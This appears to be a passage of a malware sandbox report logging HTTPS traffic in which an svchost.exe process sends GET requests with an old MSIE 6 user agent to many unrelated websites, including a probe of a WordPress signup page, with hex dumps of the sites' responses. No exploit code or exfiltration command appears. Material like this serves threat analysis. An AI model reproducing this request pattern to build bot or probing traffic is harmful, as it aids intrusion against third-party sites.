Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-03-10 06:56:16 UTC	724	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.6	55219	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:16 UTC	752	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:16 UTC	758	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:16 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:16 UTC	758	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.6	55252	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:16 UTC	759	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:17 UTC	759	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:17 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:17 UTC	760	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.6	54999	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:17 UTC	760	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.6	55300	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:17 UTC	760	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-03-10 06:56:17 UTC	762	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Mar 2023 06:56:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-03-10 06:56:17 UTC	762	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-03-10 06:56:17 UTC	828	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 20 20 2d 2d 0d 0a 32 30 30 30 0d 0a 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 20 61 6b 74 75 61 6c Data Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... content --2000><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ... aktual
2023-03-10 06:56:17 UTC	844	IN	Data Raw: 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 0d 0a 31 30 30 30 0d 0a 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 6c 74 3d 22 5a 6f 73 74 61 c5 84 20 6a 65 64 6e 79 6d 20 7a 20 6e 61 73 20 2d 20 50 52 41 43 41 20 57 20 50 4f 4c 49 43 4a 49 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 Data Ascii: t:179px;margin-bottom:10px"><a href="/w20/batony/4596,Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?1000v=1657112618" alt="Zosta jednym z nas - PRACA W POLICJI" /></a></div><div class="item"
2023-03-10 06:56:17 UTC	860	IN	Data Raw: 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 3c 21 2d 2d 20 66 6f 6f 74 65 72 20 2e 2d 2d 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2d 2d 3e 0d 0a 20 20 09 3c 64 69 76 20 69 64 3d 22 62 61 63 6b 2d 74 6f 2d 74 6f 70 22 3e 3c 61 20 68 72 65 66 3d 22 23 70 61 67 65 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 0d 0a 61 34 0d 0a 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 50 6f 77 72 c3 b3 74 20 6e 61 20 67 c3 b3 72 c4 99 20 73 74 72 6f 6e 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 09 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2e 2d Data Ascii: div> </div> </footer> ... footer .--> </div> ... GoToTop --> <div id="back-to-top"><a href="#page"><span></span><span a4class="sr-only">Powrt na gr strony</span></a></div> ... GoToTop .-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.6	55320	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:17 UTC	761	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk
2023-03-10 06:56:18 UTC	962	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=100 Content-Length: 48940 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Fri, 10 Mar 2023 06:56:17 GMT Connection: close
2023-03-10 06:56:18 UTC	963	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-03-10 06:56:18 UTC	965	IN	Data Raw: 6c 61 67 22 3a 72 65 74 75 72 6e 20 73 28 5b 35 35 33 35 36 2c 35 36 38 32 36 2c 35 35 33 35 36 2c 35 36 38 31 39 5d 2c 5b 35 35 33 35 36 2c 35 36 38 32 36 2c 38 32 30 33 2c 35 35 33 35 36 2c 35 36 38 31 39 5d 29 3f 21 31 3a 21 73 28 5b 35 35 33 35 36 2c 35 37 33 33 32 2c 35 36 31 32 38 2c 35 36 34 32 33 2c 35 36 31 32 38 2c 35 36 34 31 38 2c 35 36 31 32 38 2c 35 36 34 32 31 2c 35 36 31 32 38 2c 35 36 34 33 30 2c 35 36 31 32 38 2c 35 36 34 32 33 2c 35 36 31 32 38 2c 35 36 34 34 37 5d 2c 5b 35 35 33 35 36 2c 35 37 33 33 32 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 32 33 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 31 38 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 32 31 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 33 30 2c 38 32 30 33 2c 35 36 31 32 38 Data Ascii: lag":return s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])?!1:!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128
2023-03-10 06:56:18 UTC	973	IN	Data Raw: 30 30 30 2f 73 76 67 27 20 76 69 65 77 42 6f 78 3d 27 30 20 30 20 33 32 20 33 32 27 20 77 69 64 74 68 3d 27 37 32 27 20 68 65 69 67 68 74 3d 27 37 32 27 20 66 69 6c 6c 3d 27 72 67 62 61 25 32 38 35 31 25 32 43 35 31 25 32 43 35 31 25 32 43 30 2e 32 35 25 32 39 27 25 33 45 20 20 20 25 33 43 70 61 74 68 20 74 72 61 6e 73 66 6f 72 6d 3d 27 74 72 61 6e 73 6c 61 74 65 28 32 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 25 33 45 20 20 20 20 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 64 27 20 76 61 6c 75 65 73 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 34 20 56 32 38 20 48 34 20 56 34 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 Data Ascii: 000/svg' viewBox='0 0 32 32' width='72' height='72' fill='rgba%2851%2C51%2C51%2C0.25%29'%3E %3Cpath transform='translate(2)' d='M0 12 V20 H4 V12z'%3E %3Canimate attributeName='d' values='M0 12 V20 H4 V12z; M0 4 V28 H4 V4z; M0 12 V20 H4 V12z; M0 12
2023-03-10 06:56:18 UTC	981	IN	Data Raw: 61 6c 6c 6f 77 65 64 20 74 6f 20 75 70 6c 6f 61 64 20 69 73 20 30 2e 22 2c 22 6e 65 65 64 73 5f 62 73 34 22 3a 22 22 2c 22 6f 6e 65 5f 6f 70 74 69 6f 6e 22 3a 22 43 68 6f 6f 73 65 20 61 6e 20 6f 70 74 69 6f 6e 22 2c 22 6f 6e 65 5f 6f 72 5f 6d 6f 72 65 5f 6f 70 74 69 6f 6e 22 3a 22 43 68 6f 6f 73 65 20 6f 6e 65 20 6f 72 20 6d 6f 72 65 20 6f 70 74 69 6f 6e 73 22 2c 22 70 65 72 6d 61 6c 69 6e 6b 73 22 3a 22 31 22 2c 22 72 65 63 61 70 74 63 68 61 5f 73 69 74 65 5f 6b 65 79 22 3a 22 22 2c 22 72 65 63 61 70 74 63 68 61 5f 76 65 72 73 69 6f 6e 22 3a 22 76 32 22 2c 22 72 65 70 6c 69 65 73 5f 74 6f 5f 6c 6f 61 64 22 3a 22 35 22 2c 22 72 65 70 6c 79 5f 6c 61 62 65 6c 22 3a 22 52 65 70 6c 79 22 2c 22 73 65 61 72 63 68 5f 70 6c 61 63 65 68 6f 6c 64 65 72 22 3a 22 53 Data Ascii: allowed to upload is 0.","needs_bs4":"","one_option":"Choose an option","one_or_more_option":"Choose one or more options","permalinks":"1","recaptcha_site_key":"","recaptcha_version":"v2","replies_to_load":"5","reply_label":"Reply","search_placeholder":"S
2023-03-10 06:56:18 UTC	989	IN	Data Raw: 67 72 6f 75 6e 64 3a 23 66 66 66 66 65 30 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 65 36 64 62 35 35 7d 3c 2f 73 74 79 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 50 6f 77 65 72 65 64 20 62 79 20 53 6c 69 64 65 72 20 52 65 76 6f 6c 75 74 69 6f 6e 20 35 2e 34 2e 38 20 2d 20 72 65 73 70 6f 6e 73 69 76 65 2c 20 4d 6f 62 69 6c 65 2d 46 72 69 65 6e 64 6c 79 20 53 6c 69 64 65 72 20 50 6c 75 67 69 6e 20 66 6f 72 20 57 6f 72 64 50 72 65 73 73 20 77 69 74 68 20 63 6f 6d 66 6f 72 74 61 62 6c 65 20 64 72 61 67 20 61 6e 64 20 64 72 6f 70 20 69 6e 74 65 72 66 61 63 65 2e 22 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 64 6f 63 75 Data Ascii: ground:#ffffe0;border:1px solid #e6db55}</style><meta name="generator" content="Powered by Slider Revolution 5.4.8 - responsive, Mobile-Friendly Slider Plugin for WordPress with comfortable drag and drop interface."/><script type="text/javascript">docu
2023-03-10 06:56:18 UTC	998	IN	Data Raw: 2d 6d 6f 62 69 6c 65 2d 6d 65 6e 75 2d 69 63 6f 6e 27 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 64 74 2d 6d 6f 62 69 6c 65 2d 68 65 61 64 65 72 27 3e 0a 09 3c 75 6c 20 69 64 3d 22 6d 6f 62 69 6c 65 2d 6d 65 6e 75 22 20 63 6c 61 73 73 3d 22 6d 6f 62 69 6c 65 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6d 65 6e 75 22 3e 0a 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 6f 6d 65 20 63 75 72 72 65 6e 74 2d 6d 65 6e 75 2d 69 74 65 6d 20 70 61 67 65 5f 69 74 65 6d 20 70 61 67 65 2d 69 74 65 6d 2d 31 36 20 Data Ascii: -mobile-menu-icon'><span></span></div><div class='dt-mobile-header'><ul id="mobile-menu" class="mobile-main-nav" role="menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home current-menu-item page_item page-item-16
2023-03-10 06:56:18 UTC	1006	IN	Data Raw: 3b 76 61 72 20 6d 79 3d 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 6e 6f 77 3d 6e 65 77 20 44 61 74 65 28 6d 79 2d 64 69 66 66 6d 73 29 3b 74 69 6d 65 72 49 44 3d 73 65 74 54 69 6d 65 6f 75 74 28 27 73 68 6f 77 74 69 6d 65 28 29 27 2c 31 30 30 30 30 29 3b 74 69 6d 65 72 52 75 6e 6e 69 6e 67 3d 74 72 75 65 3b 7d 0a 66 75 6e 63 74 69 6f 6e 20 73 74 61 72 74 63 6c 6f 63 6b 28 29 7b 73 74 6f 70 63 6c 6f 63 6b 28 29 3b 73 68 6f 77 74 69 6d 65 28 29 3b 7d 0a 76 61 72 20 74 69 6d 65 72 49 44 3d 6e 75 6c 6c 3b 76 61 72 20 74 69 6d 65 72 52 75 6e 6e 69 6e 67 3d 66 61 6c 73 65 3b 76 61 72 20 78 3d 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 6e 6f 77 3d 78 2e 67 65 74 54 69 6d 65 28 29 3b 76 61 72 20 67 6d 74 3d 31 36 37 38 34 33 31 33 37 38 2a 31 30 30 30 3b 76 61 Data Ascii: ;var my=now.getTime();now=new Date(my-diffms);timerID=setTimeout('showtime()',10000);timerRunning=true;}function startclock(){stopclock();showtime();}var timerID=null;var timerRunning=false;var x=new Date();var now=x.getTime();var gmt=1678431378*1000;va

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.6	55397	104.21.48.207	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:17 UTC	761	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com Cookie: django_language=en
2023-03-10 06:56:17 UTC	861	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 10 Mar 2023 06:56:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Fri, 10 Mar 2023 06:46:21 GMT Content-Language: en Last-Modified: Fri, 10 Mar 2023 06:46:21 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EPV3FBmbUbxBUnuL5HWOaYoXOYmxO%2Fl%2FNQ1JTtZn9HP4XdmCQFkyMc7BWOASOS9irOoPsxK%2FfqvCMTemnUVTV19Cnx0iy9iQnvgqwUyRTrgyl11X%2FD5Ri2PZI0wz0SdB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a82bde105c20-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:17 UTC	862	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-03-10 06:56:17 UTC	862	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.6	55392	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:17 UTC	761	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-03-10 06:56:17 UTC	761	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:17 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Thu, 02 Mar 2023 15:05:19 GMT Accept-Ranges: bytes Content-Length: 51841 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-03-10 06:56:17 UTC	778	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
2023-03-10 06:56:17 UTC	794	IN	Data Raw: 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 Data Ascii: Verschliemaschinen </a> </li> <li class="nav-item layout-0 "> <a href="/verschlie
2023-03-10 06:56:17 UTC	810	IN	Data Raw: 66 72 61 6d 65 2d 6c 61 79 6f 75 74 2d 30 20 20 20 6d 74 2d 30 20 6d 62 2d 30 0a 20 20 20 20 0a 0a 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 6c 2d 33 20 63 6f 6c 2d 6c 67 2d 36 20 63 6f 6c 2d 6d 64 2d 36 20 63 6f 6c 2d 73 6d 2d 31 32 20 63 6f 6c 2d 31 32 20 6d 79 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 72 76 69 63 65 62 6f 78 20 68 2d 31 30 30 20 62 67 2d 6c 69 67 68 74 2d 67 72 65 79 20 64 2d 66 6c 65 78 20 66 6c 65 78 2d 63 6f 6c 75 6d 6e 20 68 2d 31 30 30 20 77 2d 31 30 30 20 70 2d 33 20 22 3e 0a Data Ascii: 